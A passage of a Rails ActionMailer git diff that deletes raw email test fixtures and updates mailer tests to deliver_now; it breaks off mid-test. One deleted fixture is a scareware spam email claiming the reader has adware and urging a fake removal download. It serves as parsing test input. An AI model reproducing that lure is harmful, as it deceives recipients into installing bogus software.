-Date: Tue, 10 May 2005 15:27:03 -0500
-From: xxx@xxxx.xxx
-Sender: xxx@xxxx.xxx
-To: xxxxxxxxxxx@xxxx.xxxx.xxx
-Message-Id: <xxx@xxxx.xxx>
-X-Original-To: xxxxxxxxxxx@xxxx.xxxx.xxx
-Delivered-To: xxx@xxxx.xxx
-Importance: normal
-Content-Type: text/plain; charset=us-ascii
-
-Test test. Hi. Waving. m
-
-----------------------------------------------------------------
-Sent via Bell Mobility's Text Messaging service.
-Envoyé par le service de messagerie texte de Bell Mobilité.
-----------------------------------------------------------------
diff --git a/actionmailer/test/fixtures/raw_email7 b/actionmailer/test/fixtures/raw_email7
deleted file mode 100644
index da64ada8a5..0000000000
--- a/actionmailer/test/fixtures/raw_email7
+++ /dev/null
@@ -1,66 +0,0 @@
-Mime-Version: 1.0 (Apple Message framework v730)
-Content-Type: multipart/mixed; boundary=Apple-Mail-13-196941151
-Message-Id: <9169D984-4E0B-45EF-82D4-8F5E53AD7012@example.com>
-From: foo@example.com
-Subject: testing
-Date: Mon, 6 Jun 2005 22:21:22 +0200
-To: blah@example.com
-
-
---Apple-Mail-13-196941151
-Content-Type: multipart/mixed;
-	boundary=Apple-Mail-12-196940926
-
-
---Apple-Mail-12-196940926
-Content-Transfer-Encoding: quoted-printable
-Content-Type: text/plain;
-	charset=ISO-8859-1;
-	delsp=yes;
-	format=flowed
-
-This is the first part.
-
---Apple-Mail-12-196940926
-Content-Transfer-Encoding: 7bit
-Content-Type: text/x-ruby-script;
-	x-unix-mode=0666;
-	name="test.rb"
-Content-Disposition: attachment;
-	filename=test.rb
-
-puts "testing, testing"
-
---Apple-Mail-12-196940926
-Content-Transfer-Encoding: base64
-Content-Type: application/pdf;
-	x-unix-mode=0666;
-	name="test.pdf"
-Content-Disposition: inline;
-	filename=test.pdf
-
-YmxhaCBibGFoIGJsYWg=
-
---Apple-Mail-12-196940926
-Content-Transfer-Encoding: 7bit
-Content-Type: text/plain;
-	charset=US-ASCII;
-	format=flowed
-
-
-
---Apple-Mail-12-196940926--
-
---Apple-Mail-13-196941151
-Content-Transfer-Encoding: base64
-Content-Type: application/pkcs7-signature;
-	name=smime.p7s
-Content-Disposition: attachment;
-	filename=smime.p7s
-
-jamisSqGSIb3DQEHAqCAMIjamisxCzAJBgUrDgMCGgUAMIAGCSqGSjamisEHAQAAoIIFSjCCBUYw
-ggQujamisQICBD++ukQwDQYJKojamisNAQEFBQAwMTELMAkGA1UEBhMCRjamisAKBgNVBAoTA1RE
-QzEUMBIGjamisxMLVERDIE9DRVMgQ0jamisNMDQwMjI5MTE1OTAxWhcNMDYwMjamisIyOTAxWjCB
-gDELMAkGA1UEjamisEsxKTAnBgNVBAoTIEjamisuIG9yZ2FuaXNhdG9yaXNrIHRpbjamisRuaW5=
-
---Apple-Mail-13-196941151--
diff --git a/actionmailer/test/fixtures/raw_email8 b/actionmailer/test/fixtures/raw_email8
deleted file mode 100644
index 79996365b3..0000000000
--- a/actionmailer/test/fixtures/raw_email8
+++ /dev/null
@@ -1,47 +0,0 @@
-From xxxxxxxxx.xxxxxxx@gmail.com Sun May  8 19:07:09 2005
-Return-Path: <xxxxxxxxx.xxxxxxx@gmail.com>
-Message-ID: <e85734b90505081209eaaa17b@mail.gmail.com>
-Date: Sun, 8 May 2005 14:09:11 -0500
-From: xxxxxxxxx xxxxxxx <xxxxxxxxx.xxxxxxx@gmail.com>
-Reply-To: xxxxxxxxx xxxxxxx <xxxxxxxxx.xxxxxxx@gmail.com>
-To: xxxxx xxxx <xxxxx@xxxxxxxxx.com>
-Subject: Fwd: Signed email causes file attachments
-In-Reply-To: <F6E2D0B4-CC35-4A91-BA4C-C7C712B10C13@mac.com>
-Mime-Version: 1.0
-Content-Type: multipart/mixed;
-	boundary="----=_Part_5028_7368284.1115579351471"
-References: <F6E2D0B4-CC35-4A91-BA4C-C7C712B10C13@mac.com>
-
-------=_Part_5028_7368284.1115579351471
-Content-Type: text/plain; charset=ISO-8859-1
-Content-Transfer-Encoding: quoted-printable
-Content-Disposition: inline
-
-We should not include these files or vcards as attachments.
-
----------- Forwarded message ----------
-From: xxxxx xxxxxx <xxxxxxxx@xxx.com>
-Date: May 8, 2005 1:17 PM
-Subject: Signed email causes file attachments
-To: xxxxxxx@xxxxxxxxxx.com
-
-
-Hi,
-
-Test attachments oddly encoded with japanese charset.
-
-
-------=_Part_5028_7368284.1115579351471
-Content-Type: application/octet-stream; name*=iso-2022-jp'ja'01%20Quien%20Te%20Dij%8aat.%20Pitbull.mp3
-Content-Transfer-Encoding: base64
-Content-Disposition: attachment
-
-MIAGCSqGSIb3DQEHAqCAMIACAQExCzAJBgUrDgMCGgUAMIAGCSqGSIb3DQEHAQAAoIIGFDCCAs0w
-ggI2oAMCAQICAw5c+TANBgkqhkiG9w0BAQQFADBiMQswCQYDVQQGEwJaQTElMCMGA1UEChMcVGhh
-d3RlIENvbnN1bHRpbmcgKFB0eSkgTHRkLjEsMCoGA1UEAxMjVGhhd3RlIFBlcnNvbmFsIEZyZWVt
-YWlsIElzc3VpbmcgQ0EwHhcNMDUwMzI5MDkzOTEwWhcNMDYwMzI5MDkzOTEwWjBCMR8wHQYDVQQD
-ExZUaGF3dGUgRnJlZW1haWwgTWVtYmVyMR8wHQYJKoZIhvcNAQkBFhBzbWhhdW5jaEBtYWMuY29t
-MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAn90dPsYS3LjfMY211OSYrDQLzwNYPlAL
-7+/0XA+kdy8/rRnyEHFGwhNCDmg0B6pxC7z3xxJD/8GfCd+IYUUNUQV5m9MkxfP9pTVXZVIYLaBw
-------=_Part_5028_7368284.1115579351471--
-
diff --git a/actionmailer/test/fixtures/raw_email9 b/actionmailer/test/fixtures/raw_email9
deleted file mode 100644
index 02ea0b05c5..0000000000
--- a/actionmailer/test/fixtures/raw_email9
+++ /dev/null
@@ -1,28 +0,0 @@
-Received: from xxx.xxx.xxx ([xxx.xxx.xxx.xxx] verified)
-  by xxx.com (CommuniGate Pro SMTP 4.2.8)
-  with SMTP id 2532598 for xxx@xxx.com; Wed, 23 Feb 2005 17:51:49 -0500
-Received-SPF: softfail
- receiver=xxx.com; client-ip=xxx.xxx.xxx.xxx; envelope-from=xxx@xxx.xxx
-quite Delivered-To: xxx@xxx.xxx
-Received: by xxx.xxx.xxx (Wostfix, from userid xxx)
-	  id 0F87F333; Wed, 23 Feb 2005 16:16:17 -0600
-Date: Wed, 23 Feb 2005 18:20:17 -0400
-From: "xxx xxx" <xxx@xxx.xxx>
-Message-ID: <4D6AA7EB.6490534@xxx.xxx>
-To: xxx@xxx.com
-Subject: Stop adware/spyware once and for all.
-X-Scanned-By: MIMEDefang 2.11 (www dot roaringpenguin dot com slash mimedefang)
-
-You are infected with:
-Ad Ware and Spy Ware
-
-Get your free scan and removal download now,
-before it gets any worse.
-
-http://xxx.xxx.info?aid=3D13&?stat=3D4327kdzt
-
-
-
-
-no more? (you will still be infected)
-http://xxx.xxx.info/discon/?xxx@xxx.com
diff --git a/actionmailer/test/fixtures/raw_email_quoted_with_0d0a b/actionmailer/test/fixtures/raw_email_quoted_with_0d0a
deleted file mode 100644
index 8a2c25a5dd..0000000000
--- a/actionmailer/test/fixtures/raw_email_quoted_with_0d0a
+++ /dev/null
@@ -1,14 +0,0 @@
-Mime-Version: 1.0 (Apple Message framework v730)

-Message-Id: <9169D984-4E0B-45EF-82D4-8F5E53AD7012@example.com>

-From: foo@example.com

-Subject: testing

-Date: Mon, 6 Jun 2005 22:21:22 +0200

-To: blah@example.com

-Content-Transfer-Encoding: quoted-printable

-Content-Type: text/plain

-

-A fax has arrived from remote ID ''.=0D=0A-----------------------=

--------------------------------------=0D=0ATime: 3/9/2006 3:50:52=

- PM=0D=0AReceived from remote ID: =0D=0AInbound user ID XXXXXXXXXX, r=

-outing code XXXXXXXXX=0D=0AResult: (0/352;0/0) Successful Send=0D=0AP=

-age record: 1 - 1=0D=0AElapsed time: 00:58 on channel 11=0D=0A

diff --git a/actionmailer/test/fixtures/raw_email_with_invalid_characters_in_content_type b/actionmailer/test/fixtures/raw_email_with_invalid_characters_in_content_type
deleted file mode 100644
index a8ff7ed4cb..0000000000
--- a/actionmailer/test/fixtures/raw_email_with_invalid_characters_in_content_type
+++ /dev/null
@@ -1,104 +0,0 @@
-Return-Path: <mikel.other@baci>
-Received: from some.isp.com by baci with ESMTP id 632BD5758 for <mikel.lindsaar@baci>; Sun, 21 Oct 2007 19:38:21 +1000
-Date: Sun, 21 Oct 2007 19:38:13 +1000
-From: Mikel Lindsaar <mikel.other@baci>
-Reply-To: Mikel Lindsaar <mikel.other@baci>
-To: mikel.lindsaar@baci
-Message-Id: <009601c813c6$19df3510$0437d30a@mikel091a>
-Subject: Testing outlook
-Mime-Version: 1.0
-Content-Type: multipart/alternative; boundary=----=_NextPart_000_0093_01C81419.EB75E850
-Delivered-To: mikel.lindsaar@baci
-X-Mimeole: Produced By Microsoft MimeOLE V6.00.2900.3138
-X-Msmail-Priority: Normal
-
-This is a multi-part message in MIME format.
-
-
-------=_NextPart_000_0093_01C81419.EB75E850
-Content-Type: text/plain; charset=iso-8859-1
-Content-Transfer-Encoding: Quoted-printable
-
-Hello
-This is an outlook test
-
-So there.
-
-Me.
-
-------=_NextPart_000_0093_01C81419.EB75E850
-Content-Type: text/html; charset=iso-8859-1
-Content-Transfer-Encoding: Quoted-printable
-
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
-<HTML><HEAD>
-<META http-equiv=3DContent-Type content=3D"text/html; =
-charset=3Diso-8859-1">
-<META content=3D"MSHTML 6.00.6000.16525" name=3DGENERATOR>
-<STYLE></STYLE>
-</HEAD>
-<BODY bgColor=3D#ffffff>
-<DIV><FONT face=3DArial size=3D2>Hello</FONT></DIV>
-<DIV><FONT face=3DArial size=3D2><STRONG>This is an outlook=20
-test</STRONG></FONT></DIV>
-<DIV><FONT face=3DArial size=3D2><STRONG></STRONG></FONT>&nbsp;</DIV>
-<DIV><FONT face=3DArial size=3D2><STRONG>So there.</STRONG></FONT></DIV>
-<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
-<DIV><FONT face=3DArial size=3D2>Me.</FONT></DIV></BODY></HTML>
-
-
-------=_NextPart_000_0093_01C81419.EB75E850--
-
-
-Return-Path: <mikel.other@baci>
-Received: from some.isp.com by baci with ESMTP id 632BD5758 for <mikel.lindsaar@baci>; Sun, 21 Oct 2007 19:38:21 +1000
-Date: Sun, 21 Oct 2007 19:38:13 +1000
-From: Mikel Lindsaar <mikel.other@baci>
-Reply-To: Mikel Lindsaar <mikel.other@baci>
-To: mikel.lindsaar@baci
-Message-Id: <009601c813c6$19df3510$0437d30a@mikel091a>
-Subject: Testing outlook
-Mime-Version: 1.0
-Content-Type: multipart/alternative; boundary=----=_NextPart_000_0093_01C81419.EB75E850
-Delivered-To: mikel.lindsaar@baci
-X-Mimeole: Produced By Microsoft MimeOLE V6.00.2900.3138
-X-Msmail-Priority: Normal
-
-This is a multi-part message in MIME format.
-
-
-------=_NextPart_000_0093_01C81419.EB75E850
-Content-Type: text/plain; charset=iso-8859-1
-Content-Transfer-Encoding: Quoted-printable
-
-Hello
-This is an outlook test
-
-So there.
-
-Me.
-
-------=_NextPart_000_0093_01C81419.EB75E850
-Content-Type: text/html; charset=iso-8859-1
-Content-Transfer-Encoding: Quoted-printable
-
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
-<HTML><HEAD>
-<META http-equiv=3DContent-Type content=3D"text/html; =
-charset=3Diso-8859-1">
-<META content=3D"MSHTML 6.00.6000.16525" name=3DGENERATOR>
-<STYLE></STYLE>
-</HEAD>
-<BODY bgColor=3D#ffffff>
-<DIV><FONT face=3DArial size=3D2>Hello</FONT></DIV>
-<DIV><FONT face=3DArial size=3D2><STRONG>This is an outlook=20
-test</STRONG></FONT></DIV>
-<DIV><FONT face=3DArial size=3D2><STRONG></STRONG></FONT>&nbsp;</DIV>
-<DIV><FONT face=3DArial size=3D2><STRONG>So there.</STRONG></FONT></DIV>
-<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
-<DIV><FONT face=3DArial size=3D2>Me.</FONT></DIV></BODY></HTML>
-
-
-------=_NextPart_000_0093_01C81419.EB75E850--
-
-
diff --git a/actionmailer/test/fixtures/raw_email_with_nested_attachment b/actionmailer/test/fixtures/raw_email_with_nested_attachment
deleted file mode 100644
index 429c408c5d..0000000000
--- a/actionmailer/test/fixtures/raw_email_with_nested_attachment
+++ /dev/null
@@ -1,100 +0,0 @@
-From jamis@37signals.com Thu Feb 22 11:20:31 2007
-Mime-Version: 1.0 (Apple Message framework v752.3)
-Message-Id: <2CCE0408-10C7-4045-9B16-A1C11C31469B@37signals.com>
-Content-Type: multipart/signed;
-	micalg=sha1;
-	boundary=Apple-Mail-42-587703407;
-	protocol="application/pkcs7-signature"
-To: Jamis Buck <jamis@jamisbuck.org>
-Subject: Testing attachments
-From: Jamis Buck <jamis@37signals.com>
-Date: Thu, 22 Feb 2007 11:20:31 -0700
-
-
---Apple-Mail-42-587703407
-Content-Type: multipart/mixed;
-	boundary=Apple-Mail-41-587703287
-
-
---Apple-Mail-41-587703287
-Content-Transfer-Encoding: 7bit
-Content-Type: text/plain;
-	charset=US-ASCII;
-	format=flowed
-
-Here is a test of an attachment via email.
-
-- Jamis
-
-
---Apple-Mail-41-587703287
-Content-Transfer-Encoding: base64
-Content-Type: image/png;
-	x-unix-mode=0644;
-	name=byo-ror-cover.png
-Content-Disposition: inline;
-	filename=truncated.png
-
-iVBORw0KGgoAAAANSUhEUgAAAKUAAADXCAYAAAB7wZEQAAAABHNCSVQICAgIfAhkiAAAAAlwSFlz
-AAALEgAACxIB0t1+/AAAABd0RVh0Q3JlYXRpb24gVGltZQAxLzI1LzIwMDeD9CJVAAAAGHRFWHRT
-b2Z0d2FyZQBBZG9iZSBGaXJld29ya3NPsx9OAAAyBWlUWHRYTUw6Y29tLmFkb2JlLnhtcDw/eHBh
-Y2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+Cjx4OnhtcG1l
-dGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDQuMS1j
-MDIwIDEuMjU1NzE2LCBUdWUgT2N0IDEwIDIwMDYgMjM6MTY6MzQiPgogICA8cmRmOlJERiB4bWxu
-czpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPgogICAg
-ICA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIgogICAgICAgICAgICB4bWxuczp4YXA9Imh0
-dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iPgogICAgICAgICA8eGFwOkNyZWF0b3JUb29sPkFk
-b2JlIEZpcmV3b3JrcyBDUzM8L3hhcDpDcmVhdG9yVG9vbD4KICAgICAgICAgPHhhcDpDcmVhdGVE
-YXRlPjIwMDctMDEtMjVUMDU6Mjg6MjFaPC94YXA6Q3JlYXRlRGF0ZT4KICAgICAgICAgPHhhcDpN
-b2RpZnlEYXRlPjIwMDctMDEtMjVUMDU6Mjg6MjFaPC94YXA6TW9kaWZ5RGF0ZT4KICAgICAgPC9y
-ZGY6RGVzY3JpcHRpb24+CiAgICAgIDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiCiAgICAg
-ICAgICAgIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyI+CiAgICAg
-ICAgIDxkYzpmb3JtYXQ+aW1hZ2UvcG5nPC9kYzpmb3JtYXQ+CiAgICAgIDwvcmRmOkRlc2NyaXB0
-hhojpmnJMfaYFmSkXWg5PGCmHXVj/c9At0hSK2xGdd8F3muk0VFjb4f5Ue0ksQ8qAcq0delaXhdb
-DjKNnF+3B3t9kObZYmk7AZgWYqO9anpR3wpM9sQ5XslB9a+kWyTtNb0fOmudzGHfPFBQDKesyycm
-DBL7Cw5bXjIEuci+SSOm/LYnXDZu6iuPEj8lYBb+OU8xx1f9m+e5rhJiYKqjo5vHfiZp+VUkW9xc
-Ufd6JHNWc47PkQqb9ie3SLEZB/ZqyAssiqURY+G35iOMZUrHbasHnb80QAPv9FHtAbJIyro7bi5b
-ai2TEAKen5+LJNWrglZjm3UbZvt7KryA2J5b5J1jZF8kL6GzvG1Zqx54Y1y7J7n20wMOt9frG2sW
-uwGP07kNz3732vf6bfvAvLldfS+9fts2euXY37D+R29FGZdlnhzV4TTFmPJduBP2RbNNua4rTqcT
-Qt7Xy1KUB0AHSdP5AZQYvHZg7WD1XvYeMO1A9HhZPqMX5KXbMBrn2efxns/ee21674efxz4Tp/fq
-2HZ648dgYaC1i3Vq1IbNPq3PvDTPezY9FaRISjvnzWqdgcWN8EJgjnNq+Z7ktOm9l2Nfth28EZi4
-bG/we5JwxM+Tql47/D/X6b38I8/RyxvxPJrX6zvQbo3h9jyJx+C0ALX327QETHl5eYlaYCT5rPTb
-+5/rAq26t3lKIxV/p88hq6ptngdgCzoPjJqndiLfc/6y5A14WeDFGNPct4iUsJBV2bYzLEV7m83s
-6Rp63VPhHKC/g/LzaU9qexJRr56043JWinqAtfZqsSm1sjoznthl54dtCqv+uL4nIY+oYWuc3+nH
-kGfn8b0HQpvOYLQAZUDanbJs3jQhITZEgdarZK+cO6ySlL13rut5nFaN23s7u3Snz6eRPTkCoc2/
-Vp1zHfZVFpZ87FiMVLV1iqyK5rlzfji2GzjfDsodlD+Weo5UD4h6PwKqzQMqID0tq2VjjFVSMpis
-ZLRAs7sePZBZAHI+gIanB8I7MD+femAceeUe2Kxa5jS950kZ1p5eNEdeX1+jFmSpZ+1EdWCsDcne
-NPNgUHNw3aYpnzv9PGTX0uo94EtN9qq1rOdxe3kc79T8ukeHJJ8Fnxej6qlylbLLsjQLOy6Xy2a1
-kefs/N+nM7+S7IG5/E5Yc7F003pWErLjbH0O5cGadiMptSB/DZ5U5DI9yeg5MFYyMj8lC/Y7/Xjq
-OZlWcnpg9aQfXz2HRq+Wn5xOp6gN8tWq8R44e2pfyzLYemEgprst+XXk2Zj2nXlbsG05BprndTMv
-C3QRaXczshhVsHnMgfYn80Y2g5JureA6wBasPeP7LkE/jvZMJAaf/g/U2RelHsisvan5FqweIAHg
-Pwc7L68GxvVDAAAAAElFTkSuQmCC
-
---Apple-Mail-41-587703287--
-
---Apple-Mail-42-587703407
-Content-Transfer-Encoding: base64
-Content-Type: application/pkcs7-signature;
-	name=smime.p7s
-Content-Disposition: attachment;
-	filename=smime.p7s
-
-MIAGCSqGSIb3DQEHAqCAMIACAQExCzAJBgUrDgMCGgUAMIAGCSqGSIb3DQEHAQAAoIIGJzCCAuAw
-ggJJoAMCAQICEFjnFNYXwDEZRWY5EkfzopUwDQYJKoZIhvcNAQEFBQAwYjELMAkGA1UEBhMCWkEx
-JTAjBgNVBAoTHFRoYXd0ZSBDb25zdWx0aW5nIChQdHkpIEx0ZC4xLDAqBgNVBAMTI1RoYXd0ZSBQ
-ZXJzb25hbCBGcmVlbWFpbCBJc3N1aW5nIENBMB4XDTA2MDkxMjE3MDExMloXDTA3MDkxMjE3MDEx
-MlowRTEfMB0GA1UEAxMWVGhhd3RlIEZyZWVtYWlsIE1lbWJlcjEiMCAGCSqGSIb3DQEJARYTamFt
-aXNAMzdzaWduYWxzLmNvbTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAO2A9JeOFIFJ
-G6z8pTcAldrZ2nMe+Xb1tNrbHgoVzN/QhHXM4qst2Ml93cmFLjMmwG7P9RJeU4oNx+jTqVoBB7NV
-Ne1/o56Do0KhfMZ9iUDQdPLbkZMq4EEpFMdm6PyM3muRKwPhj66iAWe/osCb8DowUK2f66vaRx0Z
-Y0MQHIIrXE02Ta4IfAhIfPqBLkZ4WgTYBHN9vMdYea1jF0GO4gqGk1wqwb3yxv2QMYMbwJ6SI+k/
-ZjkSR/OilTCBhwYLKoZIhvcNAQkQAgsxeKB2MGIxCzAJBgNVBAYTAlpBMSUwIwYDVQQKExxUaGF3
-dGUgQ29uc3VsdGluZyAoUHR5KSBMdGQuMSwwKgYDVQQDEyNUaGF3dGUgUGVyc29uYWwgRnJlZW1h
-aWwgSXNzdWluZyBDQQIQWOcU1hfAMRlFZjkSR/OilTANBgkqhkiG9w0BAQEFAASCAQCfwQiC3v6/
-yleRDGv3bJ4nQYQ+c3mz3+mn3Xi6uU35n3piwxZZaWRdmLyiXPvU+QReHpSf3l2qsEZM3sdE0XF9
-eRul/+QTFJcDNXOEAxG1zC2Gpz+6c6RrX4Ou12Pwkp+pNrZWTSY/mZgdqcArupOBcZi7qBjoWcy5
-wb54dfvSSjrjmqLbkH/E8ww/6gGQuU/xXpAUZgUrTmQHrNKeIdSh5oDkOxFaFWvnmb8Z/2ixKqW/
-Ux6WqamyvBtTs/5YBEtnpZOk+uVoscYEUBhU+DVJ2OSvTdXSivMtBdXmGTsG22k+P1NGUHi/A7ev
-xPaO0uk4V8xyjNlN4HPuGpkrlXwPAAAAAAAA
-
---Apple-Mail-42-587703407--
diff --git a/actionmailer/test/fixtures/raw_email_with_partially_quoted_subject b/actionmailer/test/fixtures/raw_email_with_partially_quoted_subject
deleted file mode 100644
index e86108da1e..0000000000
--- a/actionmailer/test/fixtures/raw_email_with_partially_quoted_subject
+++ /dev/null
@@ -1,14 +0,0 @@
-From jamis@37signals.com Mon May  2 16:07:05 2005
-Mime-Version: 1.0 (Apple Message framework v622)
-Content-Transfer-Encoding: base64
-Message-Id: <d3b8cf8e49f04480850c28713a1f473e@37signals.com>
-Content-Type: text/plain;
-  charset=EUC-KR;
-  format=flowed
-To: jamis@37signals.com
-From: Jamis Buck <jamis@37signals.com>
-Subject: Re: Test: =?UTF-8?B?Iua8ouWtlyI=?= mid =?UTF-8?B?Iua8ouWtlyI=?= tail
-Date: Mon, 2 May 2005 16:07:05 -0600
-
-tOu6zrrQwMcguLbC+bChwfa3ziwgv+y4rrTCIMfPs6q01MC7ILnPvcC0z7TZLg0KDQrBpiDAzLin
-wLogSmFtaXPA1LTPtNku
diff --git a/actionmailer/test/fixtures/test_helper_mailer/welcome b/actionmailer/test/fixtures/test_helper_mailer/welcome
new file mode 100644
index 0000000000..61ce70d578
--- /dev/null
+++ b/actionmailer/test/fixtures/test_helper_mailer/welcome
@@ -0,0 +1 @@
+Welcome!
\ No newline at end of file
diff --git a/actionmailer/test/fixtures/test_mailer/included_subtemplate.text.erb b/actionmailer/test/fixtures/test_mailer/included_subtemplate.text.erb
index a93c30ea1a..ae3cfa77e7 100644
--- a/actionmailer/test/fixtures/test_mailer/included_subtemplate.text.erb
+++ b/actionmailer/test/fixtures/test_mailer/included_subtemplate.text.erb
@@ -1 +1 @@
-Hey Ho, <%= render :partial => "subtemplate" %>
\ No newline at end of file
+Hey Ho, <%= render partial: "subtemplate" %>
\ No newline at end of file
diff --git a/actionmailer/test/fixtures/url_test_mailer/exercise_url_for.erb b/actionmailer/test/fixtures/url_test_mailer/exercise_url_for.erb
new file mode 100644
index 0000000000..0322c1191e
--- /dev/null
+++ b/actionmailer/test/fixtures/url_test_mailer/exercise_url_for.erb
@@ -0,0 +1 @@
+<%= url_for(@options) %> <%= @url %>
diff --git a/actionmailer/test/i18n_with_controller_test.rb b/actionmailer/test/i18n_with_controller_test.rb
index ab5eaaa9d5..010e44d045 100644
--- a/actionmailer/test/i18n_with_controller_test.rb
+++ b/actionmailer/test/i18n_with_controller_test.rb
@@ -10,18 +10,15 @@ class I18nTestMailer < ActionMailer::Base
   def mail_with_i18n_subject(recipient)
     @recipient  = recipient
     I18n.locale = :de
-    mail(to: recipient, subject: "#{I18n.t :email_subject} #{recipient}",
+    mail(to: recipient, subject: I18n.t(:email_subject),
       from: "system@loudthinking.com", date: Time.local(2004, 12, 12))
   end
 end
 
-# Emulate AV railtie
-ActionController::Base.superclass.send(:include, ActionView::Layouts)
-
 class TestController < ActionController::Base
   def send_mail
-    I18nTestMailer.mail_with_i18n_subject("test@localhost").deliver
-    render text: 'Mail sent'
+    email = I18nTestMailer.mail_with_i18n_subject("test@localhost").deliver_now
+    render text: "Mail sent - Subject: #{email.subject}"
   end
 end
 
@@ -31,20 +28,43 @@ class ActionMailerI18nWithControllerTest < ActionDispatch::IntegrationTest
     get ':controller(/:action(/:id))'
   end
 
-  def app
-    Routes
+  class RoutedRackApp
+    attr_reader :routes
+
+    def initialize(routes, &blk)
+      @routes = routes
+      @stack = ActionDispatch::MiddlewareStack.new(&blk).build(@routes)
+    end
+
+    def call(env)
+      @stack.call(env)
+    end
   end
 
-  def setup
-    I18n.backend.store_translations('de', email_subject: '[Signed up] Welcome')
+  APP = RoutedRackApp.new(Routes)
+
+  def app
+    APP
   end
 
-  def teardown
-    I18n.locale = :en
+  teardown do
+    I18n.locale = I18n.default_locale
   end
 
   def test_send_mail
-    get '/test/send_mail'
-    assert_equal "Mail sent", @response.body
+    Mail::SMTP.any_instance.expects(:deliver!)
+    with_translation 'de', email_subject: '[Anmeldung] Willkommen' do
+      get '/test/send_mail'
+      assert_equal "Mail sent - Subject: [Anmeldung] Willkommen", @response.body
+    end
+  end
+
+  protected
+
+  def with_translation(locale, data)
+    I18n.backend.store_translations(locale, data)
+    yield
+  ensure
+    I18n.backend.reload!
   end
 end
diff --git a/actionmailer/test/log_subscriber_test.rb b/actionmailer/test/log_subscriber_test.rb
index 5f52a1bd69..3871b16840 100644
--- a/actionmailer/test/log_subscriber_test.rb
+++ b/actionmailer/test/log_subscriber_test.rb
@@ -1,7 +1,7 @@
-require "abstract_unit"
+require 'abstract_unit'
 require 'mailers/base_mailer'
-require "active_support/log_subscriber/test_helper"
-require "action_mailer/log_subscriber"
+require 'active_support/log_subscriber/test_helper'
+require 'action_mailer/log_subscriber'
 
 class AMLogSubscriberTest < ActionMailer::TestCase
   include ActiveSupport::LogSubscriber::TestHelper
@@ -22,12 +22,17 @@ class AMLogSubscriberTest < ActionMailer::TestCase
   end
 
   def test_deliver_is_notified
-    BaseMailer.welcome.deliver
+    BaseMailer.welcome.deliver_now
     wait
+
     assert_equal(1, @logger.logged(:info).size)
     assert_match(/Sent mail to system@test.lindsaar.net/, @logger.logged(:info).first)
-    assert_equal(1, @logger.logged(:debug).size)
-    assert_match(/Welcome/, @logger.logged(:debug).first)
+
+    assert_equal(2, @logger.logged(:debug).size)
+    assert_match(/BaseMailer#welcome: processed outbound mail in [\d.]+ms/, @logger.logged(:debug).first)
+    assert_match(/Welcome/, @logger.logged(:debug).second)
+  ensure
+    BaseMailer.deliveries.clear
   end
 
   def test_receive_is_notified
@@ -39,4 +44,4 @@ class AMLogSubscriberTest < ActionMailer::TestCase
     assert_equal(1, @logger.logged(:debug).size)
     assert_match(/Jamis/, @logger.logged(:debug).first)
   end
-end
\ No newline at end of file
+end
diff --git a/actionmailer/test/mail_layout_test.rb b/actionmailer/test/mail_layout_test.rb
index 7f959282cb..166dd096d4 100644
--- a/actionmailer/test/mail_layout_test.rb
+++ b/actionmailer/test/mail_layout_test.rb
@@ -44,16 +44,6 @@ class ExplicitLayoutMailer < ActionMailer::Base
 end
 
 class LayoutMailerTest < ActiveSupport::TestCase
-  def setup
-    set_delivery_method :test
-    ActionMailer::Base.perform_deliveries = true
-    ActionMailer::Base.deliveries.clear
-  end
-
-  def teardown
-    restore_delivery_method
-  end
-
   def test_should_pickup_default_layout
     mail = AutoLayoutMailer.hello
     assert_equal "Hello from layout Inside", mail.body.to_s.strip
diff --git a/actionmailer/test/mailers/base_mailer.rb b/actionmailer/test/mailers/base_mailer.rb
index 6584bf5195..bd991e209e 100644
--- a/actionmailer/test/mailers/base_mailer.rb
+++ b/actionmailer/test/mailers/base_mailer.rb
@@ -120,7 +120,7 @@ class BaseMailer < ActionMailer::Base
   end
 
   def with_nil_as_return_value
-    mail(:template_name => "welcome")
+    mail(template_name: "welcome")
     nil
   end
 
diff --git a/actionmailer/test/mailers/delayed_mailer.rb b/actionmailer/test/mailers/delayed_mailer.rb
new file mode 100644
index 0000000000..62d4baa434
--- /dev/null
+++ b/actionmailer/test/mailers/delayed_mailer.rb
@@ -0,0 +1,6 @@
+class DelayedMailer < ActionMailer::Base
+
+  def test_message(*)
+    mail(from: 'test-sender@test.com', to: 'test-receiver@test.com', subject: 'Test Subject', body: 'Test Body')
+  end
+end
diff --git a/actionmailer/test/message_delivery_test.rb b/actionmailer/test/message_delivery_test.rb
new file mode 100644
index 0000000000..e4dd269494
--- /dev/null
+++ b/actionmailer/test/message_delivery_test.rb
@@ -0,0 +1,84 @@
+require 'abstract_unit'
+require 'active_job'
+require 'minitest/mock'
+require 'mailers/delayed_mailer'
+require 'active_support/core_ext/numeric/time'
+
+class MessageDeliveryTest < ActiveSupport::TestCase
+  include ActiveJob::TestHelper
+
+  setup do
+    @previous_logger = ActiveJob::Base.logger
+    @previous_delivery_method = ActionMailer::Base.delivery_method
+    ActionMailer::Base.delivery_method = :test
+    ActiveJob::Base.logger = Logger.new(nil)
+    @mail = DelayedMailer.test_message(1, 2, 3)
+    ActionMailer::Base.deliveries.clear
+    ActiveJob::Base.queue_adapter.perform_enqueued_at_jobs = true
+    ActiveJob::Base.queue_adapter.perform_enqueued_jobs = true
+  end
+
+  teardown do
+    ActiveJob::Base.logger = @previous_logger
+    ActionMailer::Base.delivery_method = @previous_delivery_method
+  end
+
+  test 'should have a message' do
+    assert @mail.message
+  end
+
+  test 'its message should be a Mail::Message' do
